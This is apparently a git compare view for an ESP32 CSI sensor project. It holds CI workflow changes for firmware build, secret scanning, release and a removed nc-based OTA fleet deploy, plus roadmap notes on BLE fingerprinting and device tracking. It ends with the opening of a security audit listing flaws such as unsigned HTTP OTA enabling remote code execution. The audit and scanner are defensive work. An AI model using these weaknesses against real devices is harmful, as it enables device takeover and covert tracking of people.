Compare commits
32 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
1d0696a72c | ||
|
|
3cc5f06e78 | ||
|
|
796c6ced28 | ||
|
|
ba6a2a13ee | ||
|
|
e96ec06a18 | ||
|
|
54640a733b | ||
|
|
c895f52151 | ||
|
|
c76c1ee61b | ||
|
|
0bcb5ddf0c | ||
|
|
31724df63f | ||
|
|
8445fab1ce | ||
|
|
a81e7e3990 | ||
|
|
a4bd2a6315 | ||
|
|
8fcc90a6db | ||
|
|
57927c7c22 | ||
|
|
ed8669c0af | ||
|
|
bbe0e3fb21 | ||
|
|
476a9beb3b | ||
|
|
ebc8a00b46 | ||
|
|
00b3372a6d | ||
|
|
ce5205eb29 | ||
|
|
5d37bde414 | ||
|
|
09dd40df91 | ||
|
|
3f9c0b935e | ||
|
|
35049df04e | ||
|
|
468a97713c | ||
|
|
aea0a06a5f | ||
|
|
2e4fa30b84 | ||
|
|
89e05bbb7e | ||
|
|
f9d22cbe39 | ||
|
|
12fa03a2d5 | ||
|
|
9e3038e85f |
@@ -7,29 +7,21 @@ on:
|
||||
pull_request:
|
||||
branches: [main]
|
||||
workflow_dispatch:
|
||||
inputs:
|
||||
deploy:
|
||||
description: 'Deploy to ESP fleet after build'
|
||||
required: false
|
||||
default: 'false'
|
||||
type: choice
|
||||
options:
|
||||
- 'false'
|
||||
- 'true'
|
||||
|
||||
jobs:
|
||||
build:
|
||||
name: Build Firmware
|
||||
needs: [cppcheck, flawfinder, gitleaks]
|
||||
if: ${{ !startsWith(github.ref, 'refs/tags/') }}
|
||||
runs-on: anvil
|
||||
container:
|
||||
image: docker.io/espressif/idf:v5.3
|
||||
image: docker.io/espressif/idf:v5.5
|
||||
volumes:
|
||||
- /var/cache/ccache:/ccache
|
||||
env:
|
||||
CCACHE_DIR: /ccache
|
||||
IDF_CCACHE_ENABLE: 1
|
||||
IDF_PATH: /opt/esp/idf
|
||||
IDF_PATH_FORCE: 1
|
||||
steps:
|
||||
- name: Checkout
|
||||
run: |
|
||||
@@ -81,7 +73,8 @@ jobs:
|
||||
CFG="get-started/csi_recv_router/sdkconfig"
|
||||
|
||||
echo "=== Checking for hardcoded secrets ==="
|
||||
if strings "$BIN" | grep -iqE '(password|secret|api_key|apikey)=[^$]'; then
|
||||
if strings "$BIN" | grep -iE '(password|secret|api_key|apikey)=' \
|
||||
| grep -ivE '(auth_secret|secret=%s|secret=\$)'; then
|
||||
echo "::error::Potential hardcoded secret found in binary"
|
||||
exit 1
|
||||
fi
|
||||
@@ -100,174 +93,56 @@ jobs:
|
||||
cd get-started/csi_recv_router
|
||||
idf.py size-components 2>/dev/null | head -30
|
||||
|
||||
- name: Upload firmware artifact
|
||||
- name: Push to Harbor
|
||||
run: |
|
||||
mkdir -p /tmp/artifacts
|
||||
cp get-started/csi_recv_router/build/csi_recv_router.bin /tmp/artifacts/
|
||||
cp get-started/csi_recv_router/build/bootloader/bootloader.bin /tmp/artifacts/
|
||||
cp get-started/csi_recv_router/build/partition_table/partition-table.bin /tmp/artifacts/
|
||||
cp get-started/csi_recv_router/build/ota_data_initial.bin /tmp/artifacts/
|
||||
echo "Artifacts ready in /tmp/artifacts"
|
||||
ls -la /tmp/artifacts/
|
||||
CRANE_VERSION="v0.20.3"
|
||||
curl -sL "https://github.com/google/go-containerregistry/releases/download/${CRANE_VERSION}/go-containerregistry_Linux_x86_64.tar.gz" \
|
||||
| tar xz -C /usr/local/bin crane
|
||||
|
||||
deploy:
|
||||
name: Deploy to ESP Fleet
|
||||
runs-on: anvil
|
||||
needs: [cppcheck, flawfinder, gitleaks]
|
||||
if: github.event_name == 'workflow_dispatch' && github.event.inputs.deploy == 'true' || startsWith(github.ref, 'refs/tags/v')
|
||||
container:
|
||||
image: docker.io/espressif/idf:v5.3
|
||||
options: --network=host
|
||||
steps:
|
||||
- name: Install tools
|
||||
run: apt-get update && apt-get install -y --no-install-recommends git curl jq netcat-openbsd
|
||||
BIN="get-started/csi_recv_router/build/csi_recv_router.bin"
|
||||
TAG=$(echo "${{ github.sha }}" | cut -c1-7)
|
||||
IMAGE="harbor.mymx.me/library/firmware"
|
||||
|
||||
- name: Checkout
|
||||
run: |
|
||||
git clone --depth=1 --branch=${{ github.ref_name }} \
|
||||
https://oauth2:${{ github.token }}@git.mymx.me/${{ github.repository }}.git .
|
||||
crane auth login harbor.mymx.me \
|
||||
-u "${{ secrets.HARBOR_USER }}" \
|
||||
-p "${{ secrets.HARBOR_PASS }}"
|
||||
|
||||
- name: Build firmware
|
||||
run: |
|
||||
. /opt/esp/idf/export.sh
|
||||
cd get-started/csi_recv_router
|
||||
idf.py build
|
||||
tar cf /tmp/firmware.tar -C "$(dirname "$BIN")" "$(basename "$BIN")"
|
||||
crane append -f /tmp/firmware.tar -t "$IMAGE:$TAG"
|
||||
|
||||
- name: Security checks
|
||||
if [ "${{ github.ref_type }}" = "tag" ]; then
|
||||
crane tag "$IMAGE:$TAG" "${{ github.ref_name }}"
|
||||
fi
|
||||
|
||||
echo "Pushed $IMAGE:$TAG"
|
||||
|
||||
- name: Create release
|
||||
if: startsWith(github.ref, 'refs/tags/v')
|
||||
run: |
|
||||
BIN="get-started/csi_recv_router/build/csi_recv_router.bin"
|
||||
CFG="get-started/csi_recv_router/sdkconfig"
|
||||
|
||||
echo "=== Checking for hardcoded secrets ==="
|
||||
if strings "$BIN" | grep -iqE '(password|secret|api_key|apikey)=[^$]'; then
|
||||
echo "::error::Potential hardcoded secret found in binary"
|
||||
exit 1
|
||||
fi
|
||||
echo "No hardcoded secrets detected"
|
||||
|
||||
echo "=== Checking release configuration ==="
|
||||
LOG_LEVEL=$(grep 'CONFIG_LOG_DEFAULT_LEVEL=' "$CFG" | cut -d= -f2)
|
||||
if [ "$LOG_LEVEL" -gt 3 ]; then
|
||||
echo "::warning::Debug/verbose logging enabled (level $LOG_LEVEL)"
|
||||
else
|
||||
echo "Log level OK ($LOG_LEVEL)"
|
||||
fi
|
||||
|
||||
- name: Validate version tag
|
||||
run: |
|
||||
TAG="${{ github.ref_name }}"
|
||||
# Extract version from binary metadata
|
||||
BIN_VER=$(strings get-started/csi_recv_router/build/csi_recv_router.bin | grep -oP '^v\d+\.\d+(\.\d+)?' | head -1)
|
||||
API="https://git.mymx.me/api/v1/repos/${{ github.repository }}"
|
||||
TOKEN="${{ github.token }}"
|
||||
SIZE=$(stat -c%s "$BIN")
|
||||
|
||||
echo "Git tag: $TAG"
|
||||
echo "Binary version: $BIN_VER"
|
||||
RELEASE_ID=$(curl -sS -f -X POST "$API/releases" \
|
||||
-H "Authorization: token $TOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d "{
|
||||
\"tag_name\": \"$TAG\",
|
||||
\"name\": \"$TAG\",
|
||||
\"body\": \"Firmware $TAG — $((SIZE / 1024)) KB\"
|
||||
}" | python3 -c "import json,sys; print(json.load(sys.stdin)['id'])")
|
||||
|
||||
if [ "$TAG" != "$BIN_VER" ]; then
|
||||
echo "::warning::Tag ($TAG) differs from binary ($BIN_VER)"
|
||||
fi
|
||||
echo "Release $RELEASE_ID created for $TAG"
|
||||
|
||||
- name: Create release and upload firmware
|
||||
env:
|
||||
GITEA_TOKEN: ${{ github.token }}
|
||||
run: |
|
||||
TAG="${{ github.ref_name }}"
|
||||
REPO="${{ github.repository }}"
|
||||
API_URL="https://git.mymx.me/api/v1"
|
||||
curl -sS -f -X POST \
|
||||
"$API/releases/$RELEASE_ID/assets?name=csi_recv_router.bin" \
|
||||
-H "Authorization: token $TOKEN" \
|
||||
-H "Content-Type: application/octet-stream" \
|
||||
--data-binary @"$BIN"
|
||||
|
||||
echo "Creating release for tag: $TAG"
|
||||
|
||||
# Check if release exists
|
||||
RELEASE=$(curl -s -H "Authorization: token $GITEA_TOKEN" \
|
||||
"$API_URL/repos/$REPO/releases/tags/$TAG")
|
||||
|
||||
RELEASE_ID=$(echo "$RELEASE" | jq -r '.id // empty')
|
||||
|
||||
if [ -z "$RELEASE_ID" ]; then
|
||||
# Create new release
|
||||
RELEASE=$(curl -s -X POST -H "Authorization: token $GITEA_TOKEN" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d "{\"tag_name\": \"$TAG\", \"name\": \"$TAG\", \"body\": \"Automated release from CI\"}" \
|
||||
"$API_URL/repos/$REPO/releases")
|
||||
RELEASE_ID=$(echo "$RELEASE" | jq -r '.id')
|
||||
echo "Created release ID: $RELEASE_ID"
|
||||
else
|
||||
echo "Release exists with ID: $RELEASE_ID"
|
||||
fi
|
||||
|
||||
# Upload firmware binary
|
||||
echo "Uploading firmware..."
|
||||
curl -s -X POST -H "Authorization: token $GITEA_TOKEN" \
|
||||
-F "attachment=@get-started/csi_recv_router/build/csi_recv_router.bin" \
|
||||
"$API_URL/repos/$REPO/releases/$RELEASE_ID/assets?name=csi_recv_router.bin"
|
||||
|
||||
- name: Deploy via OTA
|
||||
run: |
|
||||
SENSORS="muddy-storm:192.168.129.29 amber-maple:192.168.129.30 hollow-acorn:192.168.129.31"
|
||||
EXPECTED_VERSION="${{ github.ref_name }}"
|
||||
|
||||
# Use Gitea release URL (uploaded in previous step)
|
||||
FIRMWARE_URL="https://git.mymx.me/${{ github.repository }}/releases/download/${{ github.ref_name }}/csi_recv_router.bin"
|
||||
echo "Firmware URL: $FIRMWARE_URL"
|
||||
|
||||
# Verify firmware is accessible
|
||||
curl -sI "$FIRMWARE_URL" | head -1
|
||||
|
||||
# Deploy to all sensors in parallel
|
||||
echo "=== Deploying to all sensors in parallel ==="
|
||||
for entry in $SENSORS; do
|
||||
NAME="${entry%%:*}"
|
||||
IP="${entry##*:}"
|
||||
echo "OTA $FIRMWARE_URL" | nc -u -w 2 "$IP" 5501 &
|
||||
done
|
||||
wait
|
||||
|
||||
# Monitor progress
|
||||
echo "=== Monitoring OTA progress (timeout: 90s) ==="
|
||||
TIMEOUT=90
|
||||
INTERVAL=5
|
||||
ELAPSED=0
|
||||
|
||||
while [ $ELAPSED -lt $TIMEOUT ]; do
|
||||
sleep $INTERVAL
|
||||
ELAPSED=$((ELAPSED + INTERVAL))
|
||||
|
||||
echo "--- Progress check at ${ELAPSED}s ---"
|
||||
ALL_UPDATED=true
|
||||
|
||||
for entry in $SENSORS; do
|
||||
NAME="${entry%%:*}"
|
||||
IP="${entry##*:}"
|
||||
|
||||
# Query sensor version via UDP STATUS command
|
||||
RESPONSE=$(echo "STATUS" | nc -u -w 1 "$IP" 5501 2>/dev/null || echo "")
|
||||
VERSION=$(echo "$RESPONSE" | grep -oP 'version=\K[^ ]+' || echo "offline")
|
||||
|
||||
if [ "$VERSION" = "$EXPECTED_VERSION" ]; then
|
||||
echo " $NAME: ✓ $VERSION"
|
||||
elif [ "$VERSION" = "offline" ] || [ -z "$VERSION" ]; then
|
||||
echo " $NAME: ⟳ updating..."
|
||||
ALL_UPDATED=false
|
||||
else
|
||||
echo " $NAME: $VERSION (waiting for $EXPECTED_VERSION)"
|
||||
ALL_UPDATED=false
|
||||
fi
|
||||
done
|
||||
|
||||
if [ "$ALL_UPDATED" = true ]; then
|
||||
echo "=== All sensors updated to $EXPECTED_VERSION ==="
|
||||
break
|
||||
fi
|
||||
done
|
||||
|
||||
# Final status
|
||||
echo "=== Final sensor status ==="
|
||||
for entry in $SENSORS; do
|
||||
NAME="${entry%%:*}"
|
||||
IP="${entry##*:}"
|
||||
RESPONSE=$(echo "STATUS" | nc -u -w 1 "$IP" 5501 2>/dev/null || echo "")
|
||||
VERSION=$(echo "$RESPONSE" | grep -oP 'version=\K[^ ]+' || echo "offline")
|
||||
echo " $NAME: $VERSION"
|
||||
done
|
||||
echo "Uploaded csi_recv_router.bin ($((SIZE / 1024)) KB)"
|
||||
|
||||
cppcheck:
|
||||
name: C/C++ Static Analysis
|
||||
|
||||
36
PROJECT.md
36
PROJECT.md
@@ -18,17 +18,30 @@ Firmware and tooling for ESP32 CSI (Channel State Information) sensors used for
|
||||
|-----------|----------|-------------|
|
||||
| Firmware | `get-started/csi_recv_router/` | ESP32 sensor firmware (C, ESP-IDF) |
|
||||
| CLI Tools | `~/git/esp-tools/` | `esp-ctl`, `esp-fleet`, `esp-ota` |
|
||||
| Flask API | `~/git/esp32-web/` | REST API backend (Python, Flask) |
|
||||
| Flask API | `~/git/esp32-web/` | REST API backend (v0.1.5, Python, Flask) |
|
||||
|
||||
## Current State (v1.9)
|
||||
## Current State
|
||||
|
||||
### Firmware: v1.11.0 (+ unreleased v1.12 changes)
|
||||
|
||||
- 3x ESP32-DevKitC V1 deployed with custom firmware
|
||||
- 31 UDP commands (ALERT, HELP, CONFIG, FACTORY, STATUS, PING, LOG, CSI, CALIBRATE, PRESENCE, ...)
|
||||
- 28 NVS-persisted configuration keys
|
||||
- UDP data streams: CSI_DATA, BLE_DATA, PROBE_DATA, ALERT_DATA, EVENT
|
||||
- Remote management via UDP commands (port 5501)
|
||||
- OTA firmware updates (HTTP/HTTPS)
|
||||
- OTA firmware updates (HTTP/HTTPS) with rollback
|
||||
- Presence detection via CSI baseline calibration
|
||||
- Multi-channel scanning for broader WiFi coverage
|
||||
- BLE fingerprinting (company_id, tx_power, flags)
|
||||
- LED quiet mode (default off, solid on motion/presence)
|
||||
|
||||
### Web Backend: v0.1.5
|
||||
|
||||
- Flask + SQLAlchemy + SQLite (WAL mode)
|
||||
- UDP collector (all 5 sensor streams)
|
||||
- REST API: sensors, devices, alerts, probes, events, stats, export, zones
|
||||
- Intelligence dashboard: vendor treemap, SSID graph, fingerprint clusters, presence timeline
|
||||
- 3D floorplan, OpenAPI/Swagger, 77 tests passing
|
||||
|
||||
## Hardware
|
||||
|
||||
@@ -71,23 +84,34 @@ Firmware and tooling for ESP32 CSI (Channel State Information) sensors used for
|
||||
| Path | Description |
|
||||
|------|-------------|
|
||||
| `~/git/esp32-hacking/` | This project (firmware sources, docs) |
|
||||
| `~/git/esp32-web/` | Flask API backend (planned) |
|
||||
| `~/git/esp32-web/` | Flask API backend (v0.1.5) |
|
||||
| `~/git/esp-tools/` | CLI tools (esp-ctl, esp-fleet, esp-ota) |
|
||||
| `~/esp/esp-idf/` | ESP-IDF toolchain |
|
||||
|
||||
## API Endpoints (Planned)
|
||||
## API Endpoints
|
||||
|
||||
Base URL: `http://<host>:5500/api/v1`
|
||||
|
||||
| Method | Endpoint | Description |
|
||||
|--------|----------|-------------|
|
||||
| GET | `/sensors` | List sensors with status |
|
||||
| GET | `/sensors/<id>` | Sensor detail |
|
||||
| GET | `/sensors/<id>/config` | Sensor configuration |
|
||||
| PUT | `/sensors/<id>/config` | Update sensor config |
|
||||
| POST | `/sensors/<id>/command` | Send UDP command |
|
||||
| POST | `/sensors/<id>/ota` | Trigger OTA update |
|
||||
| POST | `/sensors/<id>/calibrate` | Trigger calibration |
|
||||
| GET | `/devices` | List discovered devices |
|
||||
| GET | `/devices/<id>` | Device detail |
|
||||
| GET | `/alerts` | Alert feed with filters |
|
||||
| GET | `/probes` | Probe requests |
|
||||
| GET | `/events` | Sensor events |
|
||||
| POST | `/sensors/<id>/command` | Send command to sensor |
|
||||
| GET | `/stats` | Aggregate statistics |
|
||||
| GET | `/zones` | List zones |
|
||||
| POST | `/zones` | Create zone |
|
||||
| PUT | `/zones/<id>` | Update zone |
|
||||
| GET | `/export/devices.csv` | Export devices |
|
||||
| GET | `/intelligence/*` | Vendor treemap, SSID graph, fingerprints, presence |
|
||||
|
||||
## References
|
||||
|
||||
|
||||
99
ROADMAP.md
99
ROADMAP.md
@@ -98,10 +98,6 @@ Note: Promiscuous mode (probe/deauth capture) disabled on original ESP32 — bre
|
||||
- [x] Zone tracking with EMA RSSI (`esp-ctl osint zones`, `device_zones` table)
|
||||
- [x] Per-sensor breakdown in MAC profile (`esp-ctl osint mac`)
|
||||
- [x] POWERTEST command (7-phase power profiling with EVENT markers)
|
||||
- [ ] Test OTA rollback (flash bad firmware, verify auto-revert)
|
||||
- [ ] Create HA webhook automations for deauth_flood / unknown_probe
|
||||
- [ ] Document esp-crab dual-antenna capabilities
|
||||
- [ ] Document esp-radar console features
|
||||
|
||||
## v1.5 - Event Handling & NVS Persistence [DONE]
|
||||
- [x] EVENT packet parsing in watch daemon (motion, wifi_reconnect, powertest)
|
||||
@@ -116,9 +112,6 @@ Note: Promiscuous mode (probe/deauth capture) disabled on original ESP32 — bre
|
||||
- [x] POWERSAVE command (WiFi modem sleep toggle, NVS persisted, default off)
|
||||
- [x] POWERTEST save/restore of powersave state
|
||||
- [x] sdkconfig: CONFIG_PM_ENABLE, CONFIG_FREERTOS_USE_TICKLESS_IDLE
|
||||
- [ ] Power consumption measurements using POWERTEST + external meter
|
||||
- [ ] Deep sleep mode with wake-on-CSI-motion
|
||||
- [ ] Battery-optimized duty cycling
|
||||
|
||||
## v1.7 - Baseline Calibration & Presence Detection [DONE]
|
||||
- [x] CALIBRATE command (capture N seconds of CSI with room empty, average per-subcarrier amplitudes, store in NVS)
|
||||
@@ -130,7 +123,6 @@ Note: Promiscuous mode (probe/deauth capture) disabled on original ESP32 — bre
|
||||
- [x] Calibration done event (`EVENT,<hostname>,calibrate=done packets=<n> nsub=<n>`)
|
||||
- [x] presence= and pr_score= fields in STATUS reply
|
||||
- [x] NVS persistence for baseline (bl_amps blob, bl_nsub) and presence config
|
||||
- [ ] Tune presence threshold per room with real-world testing
|
||||
|
||||
## v1.8 - HTTPS OTA Support [DONE]
|
||||
- [x] Support HTTPS URLs for OTA updates (esp_https_ota)
|
||||
@@ -144,62 +136,51 @@ Note: Promiscuous mode (probe/deauth capture) disabled on original ESP32 — bre
|
||||
- [x] BLE fingerprinting: company_id, tx_power, adv_flags in BLE_DATA
|
||||
- [x] Historical presence sessions support
|
||||
|
||||
## v2.0 - Flask API Backend (Purple Team)
|
||||
## v1.10 - LED Quiet Mode & CI Hardening [DONE]
|
||||
- [x] LED quiet mode (off normally, solid on motion/presence, blinks on OTA)
|
||||
- [x] Default LED to quiet mode
|
||||
- [x] Build metadata in STATUS (date, time, IDF version, chip info)
|
||||
- [x] CI security checks (secrets scan, config validation, size check)
|
||||
- [x] Size optimization (`-Os`, saves ~75KB vs -O2)
|
||||
- [x] CSI ON/OFF toggle command (NVS persisted)
|
||||
|
||||
REST API backend for OPSEC/OSINT/Purple team operations using ESP32 sensor fleet.
|
||||
API-first design; frontend dashboard deferred to v2.1+.
|
||||
## v1.11 - Diagnostics & Usability [DONE]
|
||||
- [x] HELP command (lists all commands with syntax)
|
||||
- [x] CONFIG command (dump all running config key=value)
|
||||
- [x] FACTORY command (erase NVS config + reboot)
|
||||
- [x] PING command (echo reply for connectivity tests)
|
||||
- [x] LOG command (runtime log level control)
|
||||
- [x] RSSI RESET command (reset min/max counters)
|
||||
- [x] OTA rollback validation (crasher firmware + bootloader rollback confirmed)
|
||||
- [x] Tagged v1.11.0 and OTA deployed to all 3 sensors
|
||||
|
||||
- **HTTP API:** TCP 5500
|
||||
- **UDP Collector:** UDP 5500 (sensor data)
|
||||
- **Sensor Commands:** UDP 5501 (outbound)
|
||||
## v1.12 - Security Hardening & Monitoring (unreleased)
|
||||
- [x] ALERT command (temp/heap thresholds, EVENT emission, 60s holdoff, NVS persisted)
|
||||
- [x] Auth whitelist (read-only queries only without HMAC)
|
||||
- [x] AUTH OFF disabled remotely (serial/FACTORY only)
|
||||
- [x] STATUS split (minimal unauthed vs full authed)
|
||||
- [x] Rate limiter (50ms throttle, 20 cmd/s)
|
||||
- [x] NVS write throttle (20 writes per 10s)
|
||||
- [x] CSI buffer bounds checking (UDP_REM macro)
|
||||
- [x] PMF required (`CONFIG_ESP_WIFI_PMF_REQUIRED=y`)
|
||||
- [x] mDNS stripped to hostname-only (no service advertisement)
|
||||
- [x] Serial console AUTH management
|
||||
- [x] Auto-generated auth secret on first boot
|
||||
- [x] Pentest completed: 50+ tests, all network-facing tests PASS
|
||||
- [x] Enable stack canaries (`CONFIG_COMPILER_STACK_CHECK_MODE_NORM`)
|
||||
- [x] Enable heap poisoning (`CONFIG_HEAP_POISONING_LIGHT`)
|
||||
- [x] Enable WDT panic (`CONFIG_ESP_TASK_WDT_PANIC`)
|
||||
- [x] Remove unused `#include "esp_now.h"` (CVE-2025-52471 mitigation)
|
||||
- [x] Remove hardcoded default IP from Kconfig (use TARGET command)
|
||||
- [x] OTA TLS certificate verification (ESP-IDF 150-CA bundle, `crt_bundle_attach`)
|
||||
- [ ] Multi-target (send data to 2+ UDP destinations)
|
||||
|
||||
### Phase 1: Project Setup
|
||||
- [ ] Project scaffold (`~/git/esp32-web/`) with Flask + SQLAlchemy + Blueprints
|
||||
- [ ] Database schema: sensors, devices, sightings, alerts, events, probes
|
||||
- [ ] Containerfile for podman deployment
|
||||
- [ ] Makefile (build, run, dev, stop, logs)
|
||||
- [ ] pytest setup with fixtures
|
||||
## Web Backend (`~/git/esp32-web/`)
|
||||
|
||||
### Phase 2: UDP Collector
|
||||
- [ ] Async UDP listener daemon (threading or asyncio)
|
||||
- [ ] Parse all sensor streams: CSI_DATA, BLE_DATA, PROBE_DATA, ALERT_DATA, EVENT
|
||||
- [ ] Store to database with timestamps
|
||||
- [ ] Sensor heartbeat tracking (online/offline status)
|
||||
- [ ] Run as background thread alongside Flask
|
||||
Tracked in its own repository. See `~/git/esp32-web/ROADMAP.md`.
|
||||
|
||||
### Phase 3: Core API Endpoints
|
||||
- [ ] `GET /api/v1/sensors` — list sensors with status, uptime, last_seen
|
||||
- [ ] `GET /api/v1/sensors/<id>/status` — detailed sensor info
|
||||
- [ ] `POST /api/v1/sensors/<id>/command` — send UDP command (proxy)
|
||||
- [ ] `GET /api/v1/devices` — list all discovered devices (BLE + WiFi)
|
||||
- [ ] `GET /api/v1/devices/<mac>` — device profile (sightings, zones, vendor)
|
||||
- [ ] `GET /api/v1/alerts` — alert feed with pagination + filters
|
||||
- [ ] `GET /api/v1/probes` — probe requests with SSID enumeration
|
||||
- [ ] `GET /api/v1/events` — sensor events (motion, presence, calibration)
|
||||
|
||||
### Phase 4: OSINT Features
|
||||
- [ ] MAC vendor lookup (IEEE OUI database)
|
||||
- [ ] BLE company_id to manufacturer mapping
|
||||
- [ ] `GET /api/v1/devices/<mac>/profile` — enriched device intel
|
||||
- [ ] `GET /api/v1/stats` — aggregate statistics (device counts, alert counts)
|
||||
- [ ] Export endpoints: `GET /api/v1/export/devices.csv`, `.json`
|
||||
|
||||
### Phase 5: Fleet Management API
|
||||
- [ ] `GET /api/v1/sensors/<id>/config` — current sensor configuration
|
||||
- [ ] `PUT /api/v1/sensors/<id>/config` — update sensor settings
|
||||
- [ ] `POST /api/v1/sensors/<id>/ota` — trigger OTA update
|
||||
- [ ] `POST /api/v1/sensors/<id>/calibrate` — trigger baseline calibration
|
||||
- [ ] `GET /api/v1/sensors/<id>/history` — historical metrics
|
||||
|
||||
## v2.1 - Web Dashboard (Future)
|
||||
|
||||
Frontend dashboard using htmx + Pico CSS, built on top of v2.0 API.
|
||||
|
||||
- [ ] Live sensor status dashboard
|
||||
- [ ] Device inventory table with search/filter
|
||||
- [ ] Alert timeline with severity badges
|
||||
- [ ] Presence heatmap per zone
|
||||
- [ ] Sensor fleet management UI
|
||||
Current: v0.1.5 (zones, intelligence dashboard, fleet management, 77 tests).
|
||||
Next: v0.1.6 (auth, rate limiting, production deployment).
|
||||
|
||||
## v3.0 - Hardware Upgrade (ESP32-S3/C6)
|
||||
|
||||
|
||||
758
SECURITY-AUDIT.md
Normal file
758
SECURITY-AUDIT.md
Normal file
@@ -0,0 +1,758 @@
|
||||
# ESP32 CSI Sensor Firmware Security Audit Report
|
||||
|
||||
**Target:** `get-started/csi_recv_router/main/app_main.c` (v1.11/v1.12 unreleased)
|
||||
**Source:** `/home/user/git/esp32-hacking/get-started/csi_recv_router/main/app_main.c`
|
||||
**ESP-IDF Version:** 5.5.2
|
||||
**Date:** 2026-02-14
|
||||
|
||||
---
|
||||
|
||||
## 1. Executive Summary
|
||||
|
||||
This firmware implements a Wi-Fi CSI (Channel State Information) sensor with UDP-based command/control, BLE scanning, OTA updates, and mDNS service discovery. The overall security posture is **moderate risk for a LAN-deployed sensor, high risk if exposed to untrusted networks**. The most critical findings are: (1) OTA updates are accepted over plaintext HTTP without firmware signature verification, enabling trivial remote code execution by any LAN attacker; (2) the UDP command interface binds to all interfaces with no source IP filtering and an authentication system that can be entirely disabled via a privileged command; (3) the HMAC authentication secret is logged to serial in cleartext on first boot; (4) NVS stores all secrets in plaintext (no flash encryption enabled); and (5) secure boot and flash encryption are explicitly disabled in the build configuration, leaving the device vulnerable to physical firmware extraction and modification.
|
||||
|
||||
**Overall Risk Rating: HIGH** (on a trusted LAN); **CRITICAL** (if any network segment is shared with untrusted devices).
|
||||
|
||||
---
|
||||
|
||||
## 2. Attack Surface Map
|
||||
|
||||
### 2.1 Network Interfaces
|
||||
|
||||
| Interface | Protocol | Port/Channel | Auth | Encryption | Direction |
|
||||
|-----------|----------|-------------|------|------------|-----------|
|
||||
| Wi-Fi STA | 802.11 (WPA2/WPA3) | Configured channel | PSK (via `example_connect()`) | WPA2/WPA3 | Both |
|
||||
| UDP Data | UDP | Configurable (default 5500) | None | None | Outbound only |
|
||||
| UDP Command | UDP | Configurable (default 5501) | HMAC-SHA256 (optional) | None | Inbound + Reply |
|
||||
| mDNS | mDNS/UDP | 5353 | None | None | Both |
|
||||
| BLE | BLE GAP | N/A | None | None | Receive only (passive scan) |
|
||||
| OTA | HTTP/HTTPS | Attacker-controlled URL | HMAC on command trigger | Optional (HTTP allowed) | Outbound |
|
||||
| Promiscuous | 802.11 raw | All channels (during chanscan) | N/A | N/A | Receive only |
|
||||
| ICMP Ping | ICMP | N/A | None | None | Outbound to gateway |
|
||||
|
||||
### 2.2 External Input Entry Points
|
||||
|
||||
| Entry Point | Source | Trust Level | Validation |
|
||||
|-------------|--------|-------------|------------|
|
||||
| UDP command socket (port 5501) | Any LAN host | Untrusted (HMAC optional) | Partial (per-command) |
|
||||
| Wi-Fi CSI callback | Wi-Fi driver | Trusted (kernel) | MAC filter |
|
||||
| Promiscuous RX callback | Wi-Fi driver | Untrusted (raw frames) | Frame type filter |
|
||||
| BLE advertisement RX | BLE driver | Untrusted (broadcast) | Field parsing |
|
||||
| NVS stored config | Flash | Trusted (physical access = full compromise) | Range validation |
|
||||
| UART console | Physical serial | Trusted (physical) | ESP-IDF console |
|
||||
| OTA firmware image | HTTP(S) server | Untrusted | ESP-IDF image header only |
|
||||
|
||||
### 2.3 Data Storage
|
||||
|
||||
| Storage | Type | Encryption | Contents |
|
||||
|---------|------|-----------|----------|
|
||||
| NVS (`csi_config`) | Key-value flash | **Not encrypted** | Auth secret, hostname, config, baseline calibration, boot count |
|
||||
| OTA partitions (`ota_0`, `ota_1`) | App binary | **Not encrypted** | Firmware images |
|
||||
| `phy_init` | PHY calibration | No | RF calibration data |
|
||||
|
||||
### 2.4 Trust Boundaries
|
||||
|
||||
```
|
||||
UNTRUSTED
|
||||
+-----------------------------------------+
|
||||
| LAN Network |
|
||||
| +-- UDP commands (port 5501) |
|
||||
| +-- mDNS announcements |
|
||||
| +-- OTA download targets |
|
||||
| +-- Raw 802.11 frames |
|
||||
| +-- BLE advertisements |
|
||||
+-----------------------------------------+
|
||||
|
|
||||
[HMAC gate, optional]
|
||||
|
|
||||
TRUSTED
|
||||
+-----------------------------------------+
|
||||
| ESP32 Firmware |
|
||||
| +-- cmd_handle() [privileged ops] |
|
||||
| +-- NVS config storage |
|
||||
| +-- OTA flash write |
|
||||
| +-- WiFi/BLE driver control |
|
||||
+-----------------------------------------+
|
||||
|
|
||||
[No encryption, no secure boot]
|
||||
|
|
||||
+-----------------------------------------+
|
||||
| Physical Hardware |
|
||||
| +-- UART (921600 baud) |
|
||||
| +-- JTAG (not disabled) |
|
||||
| +-- Flash memory (readable) |
|
||||
+-----------------------------------------+
|
||||
```
|
||||
|
||||
### 2.5 Partition Table
|
||||
|
||||
| Partition | Offset | Size | Notes |
|
||||
|-----------|--------|------|-------|
|
||||
| nvs | 0x9000 | 16 KB | Unencrypted config store |
|
||||
| otadata | 0xD000 | 8 KB | OTA boot selection |
|
||||
| phy_init | 0xF000 | 4 KB | PHY calibration |
|
||||
| ota_0 | 0x10000 | 1920 KB | Primary firmware |
|
||||
| ota_1 | 0x1F0000 | 1920 KB | Secondary firmware (OTA target) |
|
||||
|
||||
No factory partition. No coredump partition.
|
||||
|
||||
### 2.6 Third-Party Dependencies
|
||||
|
||||
| Library | Version | Purpose |
|
||||
|---------|---------|---------|
|
||||
| ESP-IDF | >= 4.4.1 (actual: 5.5.2) | Framework |
|
||||
| esp_csi_gain_ctrl | >= 0.1.4 | CSI gain compensation |
|
||||
| espressif/mdns | >= 1.0.0 | mDNS service |
|
||||
| NimBLE | Bundled with ESP-IDF | BLE stack |
|
||||
| mbedTLS | Bundled with ESP-IDF | HMAC-SHA256 |
|
||||
| protocol_examples_common | ESP-IDF examples | WiFi connection helper |
|
||||
|
||||
---
|
||||
|
||||
## 3. Findings Table (Sorted by Severity)
|
||||
|
||||
| ID | Severity | CVSS | Category | Summary |
|
||||
|----|----------|------|----------|---------|
|
||||
| VULN-001 | Critical | 9.8 | E (OTA) | Unsigned OTA over plaintext HTTP allows RCE |
|
||||
| VULN-002 | Critical | 9.1 | H (Physical) | Secure boot and flash encryption disabled |
|
||||
| VULN-003 | High | 8.8 | B (Auth) | Auth secret logged in cleartext on first boot |
|
||||
| VULN-004 | High | 8.1 | D (Network) | UDP command channel has no transport encryption |
|
||||
| VULN-005 | High | 7.5 | B (Auth) | Auth can be disabled remotely via AUTH OFF |
|
||||
| VULN-006 | High | 7.5 | C (Crypto) | Auth secret stored unencrypted in NVS |
|
||||
